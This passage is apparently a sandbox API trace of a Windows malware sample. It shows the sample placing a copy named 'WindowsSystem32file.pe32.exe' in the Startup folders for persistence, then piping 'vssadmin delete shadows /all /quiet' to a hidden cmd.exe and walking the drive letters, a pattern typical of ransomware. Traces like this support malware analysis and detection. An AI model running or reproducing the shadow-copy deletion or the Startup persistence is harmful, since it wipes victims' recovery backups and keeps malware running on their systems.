Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe", lpDst=0x484b58, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe") returned 0x6b [0173.449] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x494b60 | out: hHeap=0x420000) returned 1 [0173.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x484b58 | out: hHeap=0x420000) returned 1 [0173.450] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x23a8020 [0173.454] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462db0 [0173.454] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462db0, Size=0x20) returned 0x45d858 [0173.454] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462bb8 [0173.455] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462bb8, Size=0x20) returned 0x45d9e8 [0173.455] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0173.455] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0173.455] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0173.455] lstrlenW (lpString="kernel32.dll") returned 12 [0173.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d858 | out: hHeap=0x420000) returned 1 [0173.455] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0173.455] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d9e8 | out: hHeap=0x420000) returned 1 [0173.455] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0173.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.455] CloseHandle (hObject=0x244) returned 1 [0173.456] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462d98 [0173.456] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462d98, Size=0x20) returned 0x45d998 [0173.456] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462bb8 [0173.456] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462bb8, Size=0x20) returned 0x45d9c0 [0173.456] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0173.456] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0173.456] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0173.456] lstrlenW (lpString="kernel32.dll") returned 12 [0173.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d9c0 | out: hHeap=0x420000) returned 1 [0173.456] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0173.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d998 | out: hHeap=0x420000) returned 1 [0173.456] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x23a8020 | out: hHeap=0x420000) returned 1 [0173.458] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x484b58 [0173.459] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x494b60 [0173.459] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462b70 [0173.459] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462b70, Size=0x20) returned 0x45d6f0 [0173.459] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d6f0, Size=0x40) returned 0x437a60 [0173.459] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437a60, Size=0x80) returned 0x4a56b8 [0173.459] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a56b8, Size=0x100) returned 0x463388 [0173.459] lstrlenW (lpString="") returned 0 [0173.459] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.459] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8c) returned 0x463490 [0173.459] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0173.459] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x494b60, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0173.459] RegCloseKey (hKey=0x244) returned 0x0 [0173.459] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463490 | out: hHeap=0x420000) returned 1 [0173.459] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0173.459] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.459] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463388 | out: hHeap=0x420000) returned 1 [0173.459] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe", lpDst=0x484b58, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe") returned 0x5a [0173.459] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x494b60 | out: hHeap=0x420000) returned 1 [0173.460] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x484b58 | out: hHeap=0x420000) returned 1 [0173.460] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x23a7020 [0173.463] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462d20 [0173.463] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462d20, Size=0x20) returned 0x45da60 [0173.463] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462c30 [0173.463] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462c30, Size=0x20) returned 0x45db00 [0173.463] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0173.463] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0173.463] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0173.463] lstrlenW (lpString="kernel32.dll") returned 12 [0173.463] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45da60 | out: hHeap=0x420000) returned 1 [0173.463] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0173.463] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45db00 | out: hHeap=0x420000) returned 1 [0173.463] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0173.463] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.463] CloseHandle (hObject=0x244) returned 1 [0173.464] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462af8 [0173.464] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462af8, Size=0x20) returned 0x45db50 [0173.464] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462c30 [0173.464] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462c30, Size=0x20) returned 0x45d8f8 [0173.464] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0173.464] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0173.464] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0173.464] lstrlenW (lpString="kernel32.dll") returned 12 [0173.464] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d8f8 | out: hHeap=0x420000) returned 1 [0173.464] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0173.464] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45db50 | out: hHeap=0x420000) returned 1 [0173.464] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x23a7020 | out: hHeap=0x420000) returned 1 [0173.466] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x464b48 | out: hHeap=0x420000) returned 1 [0173.467] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x474b50 | out: hHeap=0x420000) returned 1 [0173.468] lstrlenW (lpString="%windir%\\System32") returned 17 [0173.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437868 | out: hHeap=0x420000) returned 1 [0173.468] lstrlenW (lpString="%appdata%") returned 9 [0173.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d970 | out: hHeap=0x420000) returned 1 [0173.468] lstrlenW (lpString="%sh(Startup)%") returned 13 [0173.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d880 | out: hHeap=0x420000) returned 1 [0173.468] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0173.468] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437550 | out: hHeap=0x420000) returned 1 [0173.468] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462b10 [0173.468] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462b10, Size=0x20) returned 0x45d920 [0173.468] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d920, Size=0x40) returned 0x4378b0 [0173.468] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4378b0, Size=0x80) returned 0x4a4ca0 [0173.468] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462bb8 [0173.468] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462bb8, Size=0x20) returned 0x45d790 [0173.469] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1fffc) returned 0x464b48 [0173.469] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x484b50 [0173.469] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x494b58 [0173.469] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462bb8 [0173.469] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462bb8, Size=0x20) returned 0x45d6f0 [0173.469] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d6f0, Size=0x40) returned 0x437550 [0173.469] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437550, Size=0x80) returned 0x4a4d28 [0173.469] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a4d28, Size=0x100) returned 0x463388 [0173.469] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.469] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463388 | out: hHeap=0x420000) returned 1 [0173.469] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x484b50, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0173.470] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x494b58 | out: hHeap=0x420000) returned 1 [0173.470] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x484b50 | out: hHeap=0x420000) returned 1 [0173.470] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0173.473] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0173.473] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0173.474] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0173.474] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xe0c, dwThreadId=0xe10)) returned 1 [0173.582] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0173.582] WriteFile (in: hFile=0x24c, lpBuffer=0x4a4ca0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x4a4ca0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0173.582] CloseHandle (hObject=0x25c) returned 1 [0173.582] CloseHandle (hObject=0x258) returned 1 [0173.582] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x464b48 | out: hHeap=0x420000) returned 1 [0173.582] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0173.582] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a4ca0 | out: hHeap=0x420000) returned 1 [0173.582] lstrlenW (lpString="%comspec%") returned 9 [0173.582] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d790 | out: hHeap=0x420000) returned 1 [0173.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0173.583] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x462bb8 [0173.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x462bb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0173.583] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e048 [0173.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x45e048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0173.584] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462bd0 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462bd0, Size=0x20) returned 0x45da10 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45da10, Size=0x40) returned 0x437550 [0173.584] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0173.584] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xd0) returned 0x43b1e8 [0173.584] GetLogicalDrives () returned 0x4 [0173.584] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10014) returned 0x464b48 [0173.584] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462c30 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462c30, Size=0x20) returned 0x45d718 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d718, Size=0x40) returned 0x437868 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437868, Size=0x80) returned 0x4a5300 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a5300, Size=0x100) returned 0x463418 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463418, Size=0x200) returned 0x463418 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463418, Size=0x400) returned 0x4a5b70 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a5b70, Size=0x800) returned 0x4a5b70 [0173.584] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a5b70, Size=0x1000) returned 0x4a5b70 [0173.584] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x474b68 [0173.584] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x462b70 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x462cc0 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x45dff8 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x462d20 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x45df78 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462b58 [0173.585] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45df78, Size=0x8) returned 0x45e098 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462bd0 [0173.585] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e098, Size=0x10) returned 0x462c30 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462d38 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462be8 [0173.585] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x462c30, Size=0x20) returned 0x45d970 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462dc8 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45df88 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x462de0 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x462c30 [0173.585] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d970, Size=0x40) returned 0x437868 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x462d50 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x462c78 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x462cd8 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x462af8 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462d98 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462b10 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e0d8 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462b40 [0173.585] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437868, Size=0x80) returned 0x4a4f48 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462c90 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462ca8 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462db0 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462b28 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462e70 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x462ea0 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462eb8 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e008 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462e88 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462df8 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x462e28 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462e10 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x462e40 [0173.585] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x462e58 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a6ea8 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6ff8 [0173.586] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a4f48, Size=0x100) returned 0x463418 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6fc8 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a70a0 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a70b8 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4a6ed8 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7190 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6f50 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e098 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6ef0 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6f68 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6fe0 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x45e0b8 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7010 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6f08 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45df98 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7028 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6f80 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a70d0 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7040 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7100 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6f20 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x4a6ec0 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7160 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4a7058 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6f38 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7070 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6f98 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a70e8 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45e078 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a6fb0 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7088 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7118 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7130 [0173.586] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463418, Size=0x200) returned 0x463418 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7148 [0173.586] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x45dfc8 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7178 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7280 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7220 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a71d8 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a71f0 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a71c0 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7340 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7208 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7298 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a7238 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a7250 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7328 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7268 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a72b0 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a72c8 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a7358 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a72e0 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4a72f8 [0173.587] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4a71a8 [0173.587] 